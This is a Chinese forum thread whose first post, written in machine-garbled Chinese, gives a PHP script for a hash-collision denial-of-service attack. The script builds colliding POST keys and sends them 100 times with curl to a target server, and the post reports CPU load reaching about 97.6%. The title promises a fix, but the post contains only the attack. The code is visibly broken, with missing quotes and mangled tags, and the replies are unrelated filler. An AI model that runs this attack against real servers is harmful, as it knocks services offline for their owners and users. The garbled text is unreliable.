仓酷云
标题:
给大家带来PHP Hash抵触招致 CPU 100%的完整办理***
[打印本页]
作者:
活着的死人
时间:
2015-1-14 20:30
标题:
给大家带来PHP Hash抵触招致 CPU 100%的完整办理***
如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的好朋友们!
我们在这台web办事器上编写一个PHP步伐,目标是要测试机往Hash它,以便妨碍重现。
步伐言语以下:
1
2
3
<!--?php
echo$showtime=date("Y-m-dH:i:s");
?-->
实行后的效果是取以后办事器的工夫。
找台有PHP情况的测试呆板,这台呆板我用假造机,内里有LAMP情况。进/usr/local/apache/htdocs目次,写一PHP网页,步伐言语以下:
[root@bloghtdocs]#Vihash.php
本人用的时分要把正文往失落!C―要自行删除不然不克不及运转
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--?php
$size=pow(2,16);
$data=;
for($key=0,$maxKey=($size-1)*$size;$key<=$maxKey;$key+=$size){
$data.=$key.=&;
}
$url=http://www.liu***xx.com/checktime.php;
$rs=array();
$ch=curl_init();
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
for($i=0;$i<100;++$i)
{
curl_exec($ch);
}
curl_close($ch);
?-->
url地点,为你要作测试的方针机,i<100,暗示最多100个并发。手工实行hash.php,举行hash碰撞。
[root@bloghtdocs]#/usr/local/php/bin/phphash.php
在web办事器端,我们往看办事器的资本使用情形,CPU是97.6%,看模样单台假造机,拿100并发往Hash,就充足把web办事器的CPU使用率升至100%。
欢迎大家来到仓酷云论坛!
作者:
活着的死人
时间:
2015-1-15 19:45
标题:
给大家带来PHP Hash抵触招致 CPU 100%的完整办理***
甚至目前许多应用软件都是基于它的。可是没有哪一个系统是十分完美的。
作者:
海妖
时间:
2015-1-18 09:14
未来的学习之路将是以指数增加的方式增长的。从网管员来说,命令行实际上就是规则,它总是有效的,同时也是灵活的。
作者:
简单生活
时间:
2015-1-27 07:31
我想即使Linux高手也很难快速准确精练的回答你。
作者:
透明
时间:
2015-2-5 11:45
写学习日记,这是学习历程的见证,同时我坚持认为是增强学习信念的法宝。
作者:
变相怪杰
时间:
2015-2-11 20:27
得到到草率的回答或者根本得不到任何Linux答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。
作者:
深爱那片海
时间:
2015-3-2 19:43
感谢老师和同学们在学习上对我的帮助。
作者:
柔情似水
时间:
2015-3-11 07:59
放手去搞。尽量不要提问,运用搜索找答案,或者看wiki,从原理上理解操作系统的本质,而不是满足于使用几个技巧。尽量看英文资料。
欢迎光临 仓酷云 (http://ckuyun.com/)
Powered by Discuz! X3.2